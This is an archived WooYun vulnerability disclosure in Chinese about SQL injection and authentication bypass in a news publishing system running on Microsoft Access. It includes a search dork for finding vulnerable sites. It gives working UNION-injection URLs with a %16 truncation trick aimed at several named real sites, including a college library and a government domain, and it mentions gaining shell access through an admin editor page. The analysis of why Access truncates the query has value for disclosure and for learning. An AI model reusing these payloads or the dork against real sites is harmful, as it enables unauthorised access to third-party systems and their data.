漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-073671
漏洞标题:某新闻发布管理系统SQL注入一枚(access数据库截断小技巧)附带拿shell
相关厂商:cncert国家互联网应急中心
漏洞作者: wefgod
提交时间:2014-08-25 10:12
修复时间:2014-11-23 10:14
公开时间:2014-11-23 10:14
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-29: 厂商已经确认,细节仅向厂商公开
2014-09-01: 细节向第三方安全合作伙伴开放
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-23: 细节向公众公开
简要描述:
头一次注意到access可以这样截断?
详细说明:
搜索:http://music.google.cn/search?newwindow=1&q=inurl%3Afunonews.ASP%3FID%3D&btnG=Google+%E6%90%9C%E7%B4%A2
不过有的搜索结果未必是同一套系统。
系统名称应该是叫风诺新闻发布管理系统
北京风诺网络开发
存在注入的链接:
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1
漏洞证明:
正题:
当判断表名admin的时候返回密码错误,admin1的时候则提示数据库错误
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin1)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8
用此方法也可以快速判断是否存在注入
因为order by是有4个字段的,直接来吧。
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://www.botou.gov.cn/yj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://210.41.160.9:84/huang/nbzy/hjyj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://www.qzgl.cn/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
拿shell
http://www.qzgl.cn/webedit/admin_login.asp
两个admin进入
顺带简单分析一下上面的情况,因为
admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
后面使用了一个%16,使用其它字符的话大部分都无法直接进入系统。
看一下%16是个啥:
看下代码:
查询原本拼凑出来的是:
select * from admin where admin=’1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects (%16转换为的字符,乌云不让贴) and password=1
在这个地方%16(就是)可以截断access的sql查询!
等同于查询变成了:
select * from admin where admin=’ 1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
因为admin表结构如下:
所以使用了联结查询就等于“查询出了一条数据:id=123其它字段都为空”
后面部分的代码,不多说了没什么特别的
本地测试下:
表结构:
测:1:
SELECT * from admin where username='admin' and password='123';
测试2(加了%16字符):
很明显后面密码的条件已经被截断了。
再测试mysql:
直接报错…………
再测试下mssql:
%16直接被忽视了
所以应该只在access下有效。
不知道是不是之前就有的,才疏学浅现在才知道access可以这样截断
修复方案:
过滤咯
版权声明:转载请注明来源 wefgod@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2014-08-29 16:45
厂商回复:
最新状态:
暂无